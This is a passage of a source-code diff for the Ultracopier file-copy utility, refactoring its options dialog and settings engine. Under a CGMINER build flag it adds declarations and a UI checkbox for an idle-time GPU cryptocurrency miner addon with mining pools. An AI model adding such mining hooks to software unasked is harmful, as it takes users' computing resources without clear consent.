+ void on_Language_force_toggled(const bool &checked);
+ void on_CatchCopyAsDefault_toggled(const bool &checked);
+ #ifdef ULTRACOPIER_CGMINER
+ void error( QProcess::ProcessError error );
+ void finished( int exitCode, QProcess::ExitStatus exitStatus );
+ void readyReadStandardError();
+ void readyReadStandardOutput();
+ void startAddon();
+ //void checkWorking();
+ void checkIdle();
+ //int getcpuload();
+ #endif
+ #ifndef ULTRACOPIER_VERSION_PORTABLE
+ void on_LoadAtSessionStarting_toggled(const bool &checked);
+ #endif
+ void on_CopyEngineList_itemSelectionChanged();
+ void on_toolButtonDown_clicked();
+ void on_toolButtonUp_clicked();
+ void on_pluginList_itemSelectionChanged();
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ void on_pluginRemove_clicked();
+ void on_pluginAdd_clicked();
+ #endif
+ void on_pluginInformation_clicked();
+ void on_checkBox_Log_clicked();
+ void on_lineEditLog_File_editingFinished();
+ void on_lineEditLog_transfer_format_editingFinished();
+ void on_lineEditLog_error_format_editingFinished();
+ void on_checkBoxLog_transfer_clicked();
+ void on_checkBoxLog_error_clicked();
+ void on_logBrowse_clicked();
+ void on_checkBoxLog_folder_clicked();
+ void on_checkBoxLog_sync_clicked();
+ void on_ActionOnManualOpen_currentIndexChanged(const int &index);
+ void on_GroupWindowWhen_currentIndexChanged(const int &index);
+ void on_DisplayOSWarning_clicked();
+ void on_checkTheUpdate_clicked();
+ void on_confirmToGroupWindows_clicked();
+ void on_giveGPUTime_clicked();
+ void oSSpecificClosed();
+ void on_remainingTimeAlgorithm_currentIndexChanged(int index);
private:
- Ui::OptionDialog *ui;
- struct pluginStore
- {
- QTreeWidgetItem * item;
- QString path;
- bool isWritable;
- };
- QList<pluginStore> pluginLink;
- struct pluginOptionsWidget
- {
- QString name;
- QTreeWidgetItem * item;
- QWidget *options;
- PluginType category;
- };
- QList<pluginOptionsWidget> pluginOptionsWidgetList;
- void addLanguage(PluginsAvailable plugin);
- void removeLanguage(PluginsAvailable plugin);
- void addTheme(PluginsAvailable plugin);
- void removeTheme(PluginsAvailable plugin);
- QStringList copyEngineStringList();
- bool ignoreCopyEngineListEdition;
- PluginsManager::ImportBackend defaultImportBackend;
- int index,loop_size;
- int loadedCopyEnginePlugin;
- QTreeWidgetItem * treeWidgetItem;
- bool allPluginsIsLoaded;
+ bool quit;
+ Ui::OptionDialog *ui;
+ struct pluginStore
+ {
+ QTreeWidgetItem * item;
+ QString path;
+ bool isWritable;
+ };
+ QList<pluginStore> pluginLink;
+ struct pluginOptionsWidget
+ {
+ QString name;
+ QTreeWidgetItem * item;
+ QWidget *options;
+ PluginType category;
+ };
+ QList<pluginOptionsWidget> pluginOptionsWidgetList;
+ int number_of_listener;
+ void addLanguage(const PluginsAvailable &plugin);
+ void removeLanguage(const PluginsAvailable &plugin);
+ void addTheme(const PluginsAvailable &plugin);
+ void removeTheme(const PluginsAvailable &plugin);
+ QStringList copyEngineStringList() const;
+ bool ignoreCopyEngineListEdition;
+ PluginsManager::ImportBackend defaultImportBackend;
+ int index,loop_size;
+ int loadedCopyEnginePlugin;
+ QTreeWidgetItem * treeWidgetItem;
+ OSSpecific *oSSpecific;
+ bool allPluginsIsLoaded;
+ #ifdef ULTRACOPIER_CGMINER
+ #if defined(_M_X64)//ethminer
+ QString addonMode;
+ #endif
+ QProcess addon;
+ bool OpenCLDll;
+ bool haveAddon;
+ QList<QStringList> pools;
+ QTimer restartaddon;
+ QTimer autorestartaddon;
+ QTimer checkIdleTimer,checkWorkingTimer;
+ quint32 dwTimeIdle;
+ QTime dwTimeIdleTime;
+ bool isIdle;
+ int workingCount;
+ #endif
public slots:
- void newThemeOptions(QString name,QWidget* theNewOptionsWidget,bool isLoaded,bool havePlugin);
+ void newThemeOptions(const QString &name,QWidget* theNewOptionsWidget,bool isLoaded,bool havePlugin);
+ void newClientList(const QStringList &clientsList);
signals:
- void previouslyPluginAdded(PluginsAvailable);
+ void previouslyPluginAdded(const PluginsAvailable &plugin) const;
};
#endif // OPTIONDIALOG_H
diff --git a/OptionDialog.ui b/OptionDialog.ui
index 61f134d..5ed7b52 100644
--- a/OptionDialog.ui
+++ b/OptionDialog.ui
@@ -6,7 +6,7 @@
<rect>
<x>0</x>
<y>0</y>
- <width>717</width>
+ <width>779</width>
<height>455</height>
</rect>
</property>
@@ -14,7 +14,7 @@
<string>Options</string>
</property>
<property name="windowIcon">
- <iconset resource="resources/resources.qrc">
+ <iconset resource="resources/ultracopier-resources.qrc">
<normaloff>:/options.png</normaloff>:/options.png</iconset>
</property>
<layout class="QVBoxLayout" name="verticalLayout">
@@ -70,9 +70,6 @@
<property name="text">
<string>Listener</string>
</property>
- <property name="flags">
- <set>ItemIsDragEnabled|ItemIsUserCheckable|ItemIsEnabled</set>
- </property>
</item>
<item>
<property name="text">
@@ -105,16 +102,19 @@
<item>
<widget class="QStackedWidget" name="stackedWidget">
<property name="currentIndex">
- <number>8</number>
+ <number>0</number>
</property>
<widget class="QWidget" name="stackedWidgetGeneral">
- <layout class="QVBoxLayout" name="verticalLayout_10">
+ <layout class="QVBoxLayout" name="verticalLayout_9">
<item>
<layout class="QFormLayout" name="formLayout_2">
+ <property name="fieldGrowthPolicy">
+ <enum>QFormLayout::ExpandingFieldsGrow</enum>
+ </property>
<item row="0" column="0">
- <widget class="QLabel" name="labelLanguage">
+ <widget class="QCheckBox" name="Language_force">
<property name="text">
- <string>Language:</string>
+ <string>Force the language</string>
</property>
</widget>
</item>
@@ -122,55 +122,41 @@
<widget class="QComboBox" name="Language"/>
</item>
<item row="1" column="0">
- <widget class="QLabel" name="labelLanguageAutodetect">
- <property name="text">
- <string>Autodetect the system language:</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QCheckBox" name="Language_autodetect">
- <property name="text">
- <string/>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
<widget class="QLabel" name="labelCatchCopyDefault">
<property name="text">
- <string>Catch the copy/move as default:</string>
+ <string>Replace the default copy and move system</string>
</property>
</widget>
</item>
- <item row="2" column="1">
+ <item row="1" column="1">
<widget class="QCheckBox" name="CatchCopyAsDefault">
<property name="text">
<string/>
</property>
</widget>
</item>
- <item row="3" column="0">
+ <item row="2" column="0">
<widget class="QLabel" name="labelLoadAtSession">
<property name="text">
- <string>Load at the session loading:</string>
+ <string>Load at the session loading</string>
</property>
</widget>
</item>
- <item row="3" column="1">
+ <item row="2" column="1">
<widget class="QCheckBox" name="LoadAtSessionStarting">
<property name="text">
<string/>
</property>
</widget>
</item>
- <item row="4" column="0">
+ <item row="3" column="0">
<widget class="QLabel" name="label_8">
<property name="text">
- <string>When manual open:</string>
+ <string>When manual open</string>
</property>
</widget>
</item>
- <item row="4" column="1">
+ <item row="3" column="1">
<widget class="QComboBox" name="ActionOnManualOpen">
<item>
<property name="text">
@@ -189,7 +175,14 @@
</item>
</widget>
</item>
- <item row="5" column="1">
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_9">
+ <property name="text">
+ <string>Group the windows when</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="1">
<widget class="QComboBox" name="GroupWindowWhen">
<item>
<property name="text">
@@ -224,12 +217,66 @@
</widget>
</item>
<item row="5" column="0">
- <widget class="QLabel" name="label_9">
+ <widget class="QLabel" name="label_7">
+ <property name="text">
+ <string>Confirm to group the windows</string>
+ </property>
+ </widget>
+ </item>
+ <item row="6" column="0">
+ <widget class="QLabel" name="label_11">
+ <property name="text">
+ <string>Display the OS warning</string>
+ </property>
+ </widget>
+ </item>
+ <item row="6" column="1">
+ <widget class="QCheckBox" name="DisplayOSWarning"/>
+ </item>
+ <item row="5" column="1">
+ <widget class="QCheckBox" name="confirmToGroupWindows"/>
+ </item>
+ <item row="7" column="1">
+ <widget class="QCheckBox" name="checkTheUpdate"/>
+ </item>
+ <item row="7" column="0">
+ <widget class="QLabel" name="label_checkTheUpdate">
+ <property name="text">
+ <string>Check for updates</string>
+ </property>
+ </widget>
+ </item>
+ <item row="8" column="1">
+ <widget class="QCheckBox" name="giveGPUTime"/>
+ </item>
+ <item row="8" column="0">
+ <widget class="QLabel" name="label_gpu_time">
+ <property name="text">
+ <string>Give GPU time to fund the development</string>
+ </property>
+ </widget>
+ </item>
+ <item row="9" column="0">
+ <widget class="QLabel" name="label_10">
<property name="text">
- <string>Group the windows when:</string>
+ <string>Remaining time algorithm</string>
</property>
</widget>
</item>
+ <item row="9" column="1">
+ <widget class="QComboBox" name="remainingTimeAlgorithm">
+ <item>
+ <property name="text">
+ <string>Traditional</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>Logarithmic</string>
+ </property>
+ </item>
+ </widget>
+ </item>
</layout>
</item>
<item>
@@ -401,7 +448,7 @@
<bool>false</bool>
</property>
<property name="icon">
- <iconset resource="resources/resources.qrc">
+ <iconset resource="resources/ultracopier-resources.qrc">
<normaloff>:/moveUp.png</normaloff>:/moveUp.png</iconset>
</property>
</widget>
@@ -412,7 +459,7 @@
<bool>false</bool>
</property>
<property name="icon">
- <iconset resource="resources/resources.qrc">
+ <iconset resource="resources/ultracopier-resources.qrc">
<normaloff>:/moveDown.png</normaloff>:/moveDown.png</iconset>
</property>
</widget>
@@ -436,7 +483,7 @@
</item>
</layout>
</widget>
- <widget class="QWidget" name="stackedWidgetCopyEngine_2">
+ <widget class="QWidget" name="stackedWidgetCopyEngineOptions">
<layout class="QHBoxLayout" name="horizontalLayout_5">
<item>
<widget class="QStackedWidget" name="stackedOptionsCopyEngine"/>
@@ -444,27 +491,41 @@
</layout>
</widget>
<widget class="QWidget" name="stackedWidgetListener">
+ <layout class="QVBoxLayout" name="verticalLayout_10">
+ <item>
+ <widget class="QLabel" name="label_6">
+ <property name="text">
+ <string>Client connected</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QListWidget" name="clientConnected"/>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="stackedWidgetListenerOptions">
<layout class="QVBoxLayout" name="verticalLayout_11">
<item>
<widget class="QStackedWidget" name="stackedOptionsListener"/>
</item>
</layout>
</widget>
- <widget class="QWidget" name="stackedWidgetPluginLoader">
+ <widget class="QWidget" name="stackedWidgetPluginLoaderOptions">
<layout class="QVBoxLayout" name="verticalLayout_12">
<item>
<widget class="QStackedWidget" name="stackedOptionsPluginLoader"/>
</item>
</layout>
</widget>
- <widget class="QWidget" name="stackedWidgetSessionLoader">
+ <widget class="QWidget" name="stackedWidgetSessionLoaderOptions">
<layout class="QVBoxLayout" name="verticalLayout_13">
<item>
<widget class="QStackedWidget" name="stackedOptionsSessionLoader"/>
</item>
</layout>
</widget>
- <widget class="QWidget" name="stackedWidgetThemes_2">
+ <widget class="QWidget" name="stackedWidgetThemes">
<layout class="QVBoxLayout" name="verticalLayout_6">
<item>
<layout class="QHBoxLayout" name="horizontalLayout_2">
@@ -513,11 +574,11 @@
</layout>
</item>
<item>
- <widget class="QStackedWidget" name="stackedWidgetThemes">
+ <widget class="QStackedWidget" name="stackedWidgetThemesOptions">
<property name="currentIndex">
<number>1</number>
</property>
- <widget class="QWidget" name="page_2">
+ <widget class="QWidget" name="pageUnableToLoadThemePlugin">
<layout class="QVBoxLayout" name="verticalLayout_7">
<item>
<spacer name="verticalSpacer_2">
@@ -535,7 +596,7 @@
<item>
<widget class="QLabel" name="label_3">
<property name="pixmap">
- <pixmap resource="resources/resources.qrc">:/bug-128x128.png</pixmap>
+ <pixmap resource="resources/ultracopier-resources.qrc">:/bug-128x128.png</pixmap>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
@@ -574,7 +635,7 @@
</item>
</layout>
</widget>
- <widget class="QWidget" name="page_3">
+ <widget class="QWidget" name="pageThemeNoOptions">
<layout class="QVBoxLayout" name="verticalLayout_8">
<item>
<spacer name="verticalSpacer_4">
@@ -592,7 +653,7 @@
<item>
<widget class="QLabel" name="label_4">
<property name="pixmap">
- <pixmap resource="resources/resources.qrc">:/none-128x128.png</pixmap>
+ <pixmap resource="resources/ultracopier-resources.qrc">:/none-128x128.png</pixmap>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
@@ -647,7 +708,7 @@
</widget>
</item>
<item>
- <widget class="QPushButton" name="pushButton">
+ <widget class="QPushButton" name="logBrowse">
<property name="enabled">
<bool>false</bool>
</property>
@@ -664,7 +725,7 @@
<bool>false</bool>
</property>
<property name="toolTip">
- <string>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</string>
+ <string>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</string>
</property>
<property name="text">
<string>Synchronized log</string>
@@ -677,7 +738,7 @@
<bool>false</bool>
</property>
<property name="text">
- <string>Write the transfers:</string>
+ <string>Write the transfers</string>
</property>
</widget>
</item>
@@ -692,12 +753,12 @@
</widget>
</item>
<item>
- <widget class="QLabel" name="label_6">
+ <widget class="QLabel" name="labelLogTransfer">
<property name="enabled">
<bool>false</bool>
</property>
<property name="text">
- <string extracomment="%time%, %source%, %size%, %destination% should not be translated">The variables are %time%, %source%, %size%, %destination%</string>
+ <string notr="true" extracomment="%time%, %source%, %size%, %destination% should not be translated">The variables are %time%, %source%, %size%, %destination%</string>
</property>
</widget>
</item>
@@ -707,7 +768,7 @@
<bool>false</bool>
</property>
<property name="text">
- <string>Write the errors:</string>
+ <string>Write the errors</string>
</property>
</widget>
</item>
@@ -722,12 +783,12 @@
</widget>
</item>
<item>
- <widget class="QLabel" name="label_7">
+ <widget class="QLabel" name="labelLogError">
<property name="enabled">
<bool>false</bool>
</property>
<property name="text">
- <string extracomment="%time%, %path%, %size%, %mtime%, %error% should not be translated">The variables are %time%, %path%, %size%, %mtime%, %error%</string>
+ <string notr="true" extracomment="%time%, %path%, %size%, %mtime%, %error% should not be translated">The variables are %time%, %path%, %size%, %mtime%, %error%</string>
</property>
</widget>
</item>
@@ -737,7 +798,7 @@
<bool>false</bool>
</property>
<property name="text">
- <string>Write the folder operations:</string>
+ <string>Write the folder operations</string>
</property>
</widget>
</item>
@@ -755,12 +816,12 @@
</widget>
</item>
<item>
- <widget class="QLabel" name="label_10">
+ <widget class="QLabel" name="labelLogFolder">
<property name="enabled">
<bool>false</bool>
</property>
<property name="text">
- <string extracomment="%path%, %operation% should not be translated">The variables are %path%, %operation%</string>
+ <string notr="true" extracomment="%path%, %operation% should not be translated">The variables are %path%, %operation%</string>
</property>
</widget>
</item>
@@ -793,26 +854,10 @@
</layout>
</widget>
<resources>
- <include location="resources/resources.qrc"/>
+ <include location="resources/ultracopier-resources.qrc"/>
</resources>
<connections>
<connection>
- <sender>Language_autodetect</sender>
- <signal>toggled(bool)</signal>
- <receiver>Language</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>449</x>
- <y>42</y>
- </hint>
- <hint type="destinationlabel">
- <x>502</x>
- <y>10</y>
- </hint>
- </hints>
- </connection>
- <connection>
<sender>checkBox_Log</sender>
<signal>toggled(bool)</signal>
<receiver>lineEditLog_File</receiver>
@@ -831,7 +876,7 @@
<connection>
<sender>checkBox_Log</sender>
<signal>toggled(bool)</signal>
- <receiver>pushButton</receiver>
+ <receiver>logBrowse</receiver>
<slot>setEnabled(bool)</slot>
<hints>
<hint type="sourcelabel">
diff --git a/OptionEngine.cpp b/OptionEngine.cpp
index a05d9b8..f86607f 100644
--- a/OptionEngine.cpp
+++ b/OptionEngine.cpp
@@ -1,13 +1,10 @@
/** \file OptionEngine.cpp
\brief Define the class of the event dispatcher
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QFileInfo>
#include <QDir>
-#include <QPluginLoader>
#include <QLabel>
#include <QComboBox>
#include <QDialogButtonBox>
@@ -20,213 +17,223 @@
/// \brief Initiate the option, load from backend
OptionEngine::OptionEngine()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //locate the settings
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- resources=ResourcesManager::getInstance();
- QString settingsFilePath=resources->getWritablePath();
- if(settingsFilePath!="")
- settings = new QSettings(settingsFilePath+"Ultracopier.conf",QSettings::IniFormat);
- else
- settings = NULL;
- #else // ULTRACOPIER_VERSION_PORTABLE
- settings = new QSettings("Ultracopier","Ultracopier");
- #endif // ULTRACOPIER_VERSION_PORTABLE
- if(settings!=NULL)
- {
- //do some write test
- if(settings->status()!=QSettings::NoError)
- {
- delete settings;
- settings=NULL;
- }
- else if(!settings->isWritable())
- {
- delete settings;
- settings=NULL;
- }
- else
- {
- settings->setValue("test","test");
- if(settings->status()!=QSettings::NoError)
- {
- delete settings;
- settings=NULL;
- }
- else
- {
- settings->remove("test");
- if(settings->status()!=QSettings::NoError)
- {
- delete settings;
- settings=NULL;
- }
- }
- }
- }
- //set the backend
- if(settings==NULL)
- {
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- resources->disableWritablePath();
- #endif // ULTRACOPIER_VERSION_PORTABLE
- currentBackend=Memory;
- }
- else
- currentBackend=File;
+ //locate the settings
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ QString settingsFilePath=ResourcesManager::resourcesManager->getWritablePath();
+ if(settingsFilePath!="")
+ settings = new QSettings(settingsFilePath+QStringLiteral("Ultracopier.conf"),QSettings::IniFormat);
+ else
+ settings = NULL;
+ #else // ULTRACOPIER_VERSION_PORTABLE
+ settings = new QSettings(QStringLiteral("Ultracopier"),QStringLiteral("Ultracopier"));
+ #endif // ULTRACOPIER_VERSION_PORTABLE
+ if(settings!=NULL)
+ {
+ //do some write test
+ if(settings->status()!=QSettings::NoError)
+ {
+ delete settings;
+ settings=NULL;
+ }
+ else if(!settings->isWritable())
+ {
+ delete settings;
+ settings=NULL;
+ }
+ else
+ {
+ settings->setValue(QStringLiteral("test"),QStringLiteral("test"));
+ if(settings->status()!=QSettings::NoError)
+ {
+ delete settings;
+ settings=NULL;
+ }
+ else
+ {
+ settings->remove(QStringLiteral("test"));
+ if(settings->status()!=QSettings::NoError)
+ {
+ delete settings;
+ settings=NULL;
+ }
+ }
+ }
+ }
+ //set the backend
+ if(settings==NULL)
+ {
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ ResourcesManager::resourcesManager->disableWritablePath();
+ #endif // ULTRACOPIER_VERSION_PORTABLE
+ currentBackend=Memory;
+ }
+ else
+ currentBackend=File;
}
/// \brief Destroy the option
OptionEngine::~OptionEngine()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- ResourcesManager::destroyInstanceAtTheLastCall();
}
/// \brief To add option group to options
bool OptionEngine::addOptionGroup(const QString &groupName,const QList<QPair<QString, QVariant> > &KeysList)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start(\""+groupName+"\",[...])");
- //search if previous with the same name exists
- if(GroupKeysList.contains(groupName))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"group already used previously");
- return false;
- }
- //if the backend is file, enter into the group
- if(currentBackend==File)
- settings->beginGroup(groupName);
- //browse all key, and append it to the key
- index=0;
- QList<OptionEngineGroupKey> KeyListTemp;
- loop_size=KeysList.size();
- while(index<loop_size)
- {
- OptionEngineGroupKey theCurrentKey;
- theCurrentKey.defaultValue=KeysList.at(index).second;
- //if memory backend, load the default value into the current value
- if(currentBackend==Memory)
- theCurrentKey.currentValue=theCurrentKey.defaultValue;
- else
- {
- if(settings->contains(KeysList.at(index).first))//if file backend, load the default value from the file
- theCurrentKey.currentValue=settings->value(KeysList.at(index).first);
- else //or if not found load the default value and set into the file
- {
- theCurrentKey.currentValue=theCurrentKey.defaultValue;
- //to switch default value if is unchanged
- //settings->setValue(KeysList.at(index).first,theCurrentKey.defaultValue);
- }
- if(settings->status()!=QSettings::NoError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Have writing error, switch to memory only options");
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- resources->disableWritablePath();
- #endif // ULTRACOPIER_VERSION_PORTABLE
- currentBackend=Memory;
- }
- }
- GroupKeysList[groupName][KeysList.at(index).first]=theCurrentKey;
- index++;
- }
- //if the backend is file, leave into the group
- if(currentBackend==File)
- settings->endGroup();
- return true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start(\"")+groupName+QStringLiteral("\",[...])"));
+ //search if previous with the same name exists
+ if(GroupKeysList.contains(groupName))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("group already used previously"));
+ return false;
+ }
+ //if the backend is file, enter into the group
+ if(currentBackend==File)
+ settings->beginGroup(groupName);
+ //browse all key, and append it to the key
+ int index=0;
+ //QList<OptionEngineGroupKey> KeyListTemp;
+ const int &loop_size=KeysList.size();
+ while(index<loop_size)
+ {
+ OptionEngineGroupKey theCurrentKey;
+ theCurrentKey.defaultValue=KeysList.at(index).second;
+ //if memory backend, load the default value into the current value
+ if(currentBackend==Memory)
+ theCurrentKey.currentValue=theCurrentKey.defaultValue;
+ else
+ {
+ if(settings->contains(KeysList.at(index).first))//if file backend, load the default value from the file
+ {
+ theCurrentKey.currentValue=settings->value(KeysList.at(index).first);
+ #ifdef ULTRACOPIER_DEBUG
+ if(theCurrentKey.currentValue!=theCurrentKey.defaultValue)
+ {
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ if(groupName=="Ultracopier" && KeysList.at(index).first=="key")
+ {
+ }
+ else
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QString("The current key: %1, group: %2, have value: %3").arg(groupName).arg(KeysList.at(index).first).arg(theCurrentKey.currentValue.toString()));
+ }
+ #endif
+ }
+ else //or if not found load the default value and set into the file
+ {
+ theCurrentKey.currentValue=theCurrentKey.defaultValue;
+ //to switch default value if is unchanged
+ //settings->setValue(KeysList.at(index).first,theCurrentKey.defaultValue);
+ }
+ if(settings->status()!=QSettings::NoError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Have writing error, switch to memory only options");
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ ResourcesManager::resourcesManager->disableWritablePath();
+ #endif // ULTRACOPIER_VERSION_PORTABLE
+ currentBackend=Memory;
+ }
+ }
+ GroupKeysList[groupName][KeysList.at(index).first]=theCurrentKey;
+ index++;
+ }
+ //if the backend is file, leave into the group
+ if(currentBackend==File)
+ settings->endGroup();
+ return true;
}
/// \brief To remove option group to options, remove the widget need be do into the calling object
bool OptionEngine::removeOptionGroup(const QString &groupName)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, groupName: "+groupName);
- if(GroupKeysList.remove(groupName)!=1)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"value not found, internal bug, groupName: "+groupName);
- return false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, groupName: ")+groupName);
+ if(GroupKeysList.remove(groupName)!=1)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("value not found, internal bug, groupName: ")+groupName);
+ return false;
}
/// \brief To get option value
-QVariant OptionEngine::getOptionValue(const QString &groupName,const QString &variableName)
+QVariant OptionEngine::getOptionValue(const QString &groupName,const QString &variableName) const
{
- if(GroupKeysList.contains(groupName))
- {
- if(GroupKeysList[groupName].contains(variableName))
- return GroupKeysList[groupName][variableName].currentValue;
- QMessageBox::critical(NULL,"Internal error",tr("Try get variable, but the variable is not found: %1 %2").arg(groupName).arg(variableName));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"value not found, internal bug, groupName: "+groupName+", variableName: "+variableName);
- return QVariant();
- }
- QMessageBox::critical(NULL,"Internal error",tr("Try get variable, but the variable is not found: %1 %2").arg(groupName).arg(variableName));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("Try get variable, but the variable is not found: %1 %2").arg(groupName).arg(variableName));
- //return default value
- return QVariant();
+ if(GroupKeysList.contains(groupName))
+ {
+ if(GroupKeysList.value(groupName).contains(variableName))
+ return GroupKeysList.value(groupName).value(variableName).currentValue;
+ QMessageBox::critical(NULL,"Internal error",tr("The variable was not found: %1 %2").arg(groupName).arg(variableName));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"value not found, internal bug, groupName: "+groupName+", variableName: "+variableName);
+ return QVariant();
+ }
+ QMessageBox::critical(NULL,"Internal error",tr("The variable was not found: %1 %2").arg(groupName).arg(variableName));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QString("The variable was not found: %1 %2").arg(groupName).arg(variableName));
+ //return default value
+ return QVariant();
}
/// \brief To set option value
void OptionEngine::setOptionValue(const QString &groupName,const QString &variableName,const QVariant &value)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"groupName: \""+groupName+"\", variableName: \""+variableName+"\", value: \""+value.toString()+"\"");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("groupName: \"")+groupName+QStringLiteral("\", variableName: \"")+variableName+QStringLiteral("\", value: \"")+value.toString()+QStringLiteral("\""));
- if(GroupKeysList.contains(groupName))
- {
- if(GroupKeysList[groupName].contains(variableName))
- {
- //prevent re-write the same value into the variable
- if(GroupKeysList[groupName][variableName].currentValue==value)
- return;
- //write ONLY the new value
- GroupKeysList[groupName][variableName].currentValue=value;
- if(currentBackend==File)
- {
- settings->beginGroup(groupName);
- settings->setValue(variableName,value);
- settings->endGroup();
- if(settings->status()!=QSettings::NoError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Have writing error, switch to memory only options");
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- resources->disableWritablePath();
- #endif // ULTRACOPIER_VERSION_PORTABLE
- currentBackend=Memory;
- }
- }
- emit newOptionValue(groupName,variableName,value);
- return;
- }
- QMessageBox::critical(NULL,"Internal error",tr("Try get variable, but the variable is not found: %1 %2").arg(groupName).arg(variableName));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"value not found, internal bug, groupName: "+groupName+", variableName: "+variableName);
- return;
- }
- QMessageBox::critical(NULL,"Internal error",tr("Try get variable, but the variable is not found: %1 %2").arg(groupName).arg(variableName));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("Try get variable, but the variable is not found: %1 %2").arg(groupName).arg(variableName));
+ if(GroupKeysList.contains(groupName))
+ {
+ if(GroupKeysList.value(groupName).contains(variableName))
+ {
+ //prevent re-write the same value into the variable
+ if(GroupKeysList.value(groupName).value(variableName).currentValue==value)
+ return;
+ //write ONLY the new value
+ GroupKeysList[groupName][variableName].currentValue=value;
+ if(currentBackend==File)
+ {
+ settings->beginGroup(groupName);
+ settings->setValue(variableName,value);
+ settings->endGroup();
+ if(settings->status()!=QSettings::NoError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Have writing error, switch to memory only options"));
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ ResourcesManager::resourcesManager->disableWritablePath();
+ #endif // ULTRACOPIER_VERSION_PORTABLE
+ currentBackend=Memory;
+ }
+ }
+ emit newOptionValue(groupName,variableName,value);
+ return;
+ }
+ QMessageBox::critical(NULL,"Internal error",tr("The variable was not found: %1 %2").arg(groupName).arg(variableName));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"value not found, internal bug, groupName: "+groupName+", variableName: "+variableName);
+ return;
+ }
+ QMessageBox::critical(NULL,"Internal error",tr("The variable was not found: %1 %2").arg(groupName).arg(variableName));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QString("The variable was not found: %1 %2").arg(groupName).arg(variableName));
}
//the reset of right value of widget need be do into the calling object
void OptionEngine::internal_resetToDefaultValue()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
- QHash<QString,QHash<QString,OptionEngineGroupKey> >::const_iterator i = GroupKeysList.constBegin();
- QHash<QString,QHash<QString,OptionEngineGroupKey> >::const_iterator i_end = GroupKeysList.constEnd();
- QHash<QString,OptionEngineGroupKey>::const_iterator j;
- QHash<QString,OptionEngineGroupKey>::const_iterator j_end;
- while (i != i_end)
- {
- j = i.value().constBegin();
- j_end = i.value().constEnd();
- while (j != j_end)
- {
- if(j.value().currentValue!=j.value().defaultValue)
- {
- GroupKeysList[i.key()][j.key()].currentValue=j.value().defaultValue;
- emit newOptionValue(i.key(),j.key(),j.value().currentValue);
- }
- ++j;
- }
- ++i;
- }
+ QHash<QString,QHash<QString,OptionEngineGroupKey> >::const_iterator i = GroupKeysList.constBegin();
+ QHash<QString,QHash<QString,OptionEngineGroupKey> >::const_iterator i_end = GroupKeysList.constEnd();
+ QHash<QString,OptionEngineGroupKey>::const_iterator j;
+ QHash<QString,OptionEngineGroupKey>::const_iterator j_end;
+ while (i != i_end)
+ {
+ j = i.value().constBegin();
+ j_end = i.value().constEnd();
+ while (j != j_end)
+ {
+ if(j.value().currentValue!=j.value().defaultValue)
+ {
+ GroupKeysList[i.key()][j.key()].currentValue=j.value().defaultValue;
+ emit newOptionValue(i.key(),j.key(),j.value().currentValue);
+ }
+ ++j;
+ }
+ ++i;
+ }
}
void OptionEngine::queryResetOptions()
{
- emit resetOptions();
+ emit resetOptions();
}
diff --git a/OptionEngine.h b/OptionEngine.h
index 0b13848..ca8a786 100644
--- a/OptionEngine.h
